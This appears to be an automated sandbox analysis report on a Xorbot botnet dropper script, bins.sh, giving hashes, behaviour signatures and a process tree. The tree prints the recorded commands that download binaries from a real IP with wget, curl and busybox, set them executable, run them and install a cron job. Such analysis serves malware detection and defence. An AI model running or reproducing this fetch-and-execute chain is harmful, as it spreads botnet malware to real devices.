Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-11-2024 17:10

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    40923aeaf01e0f3f644d5ccba48dd1c1

  • SHA1

    3a5a881c9131e5a2c63324a244681eca6f38dfe6

  • SHA256

    87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615

  • SHA512

    c25de22b41b4c157ff863a2d46c684b6f960390b8c7fb1f22389db1dcbcbf082375ec93500e9daf93f7b6b149c60f8929cf0a4aac857452d54dc5596eeae60dc

  • SSDEEP

    192:fEwGF9xAHbc+OY/8Yw/fi9kA4l11Z7kA4l1IEwGF9CHbXxD8Yw/fL:fEwGF9xAHbc+OY59kA4l11Z7kA4l1IEf

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2156) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/chmod
          chmod 777 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
          • File and Directory Permissions Modification
          PID:1522
        • /tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          ./4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
          • Executes dropped EXE
          PID:1523
        • /bin/rm
          rm 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
          2⤵
            PID:1525
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            ./GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1530
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1532
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1533
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1534
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1535
                • /bin/rm
                  rm GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
                  2⤵
                    PID:1537
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
                    2⤵
                      PID:1540
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
                      2⤵
                        PID:1541

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

                      Filesize

                      127KB

                      MD5

                      89077b7bd4bcafca7713be43635c4862

                      SHA1

                      fc02edb8fba29ea8ee99e6157ef8560334530052

                      SHA256

                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                      SHA512

                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                    • /tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

                      Filesize

                      112KB

                      MD5

                      05d7857dcead18bbd86d2935f591873c

                      SHA1

                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                      SHA256

                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                      SHA512

                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                    • /var/spool/cron/crontabs/tmp.8EcaYP

                      Filesize

                      210B

                      MD5

                      206e826888e60b8880bae674913cd225

                      SHA1

                      8929a04942ac39b6b9f8c3f55dc9b12845e3e731

                      SHA256

                      aec41076cd681b43400a27f9cf1bade9b1e30fc4ae1b38bc0cf61c2cf76f7293

                      SHA512

                      43e03568a65817512d68a8794c289eee2ecd84d8be3834ee372fa726561ee36684935985546daf391bbdcd8bad657a9feeafe8b443d2919810847648dfa5aa11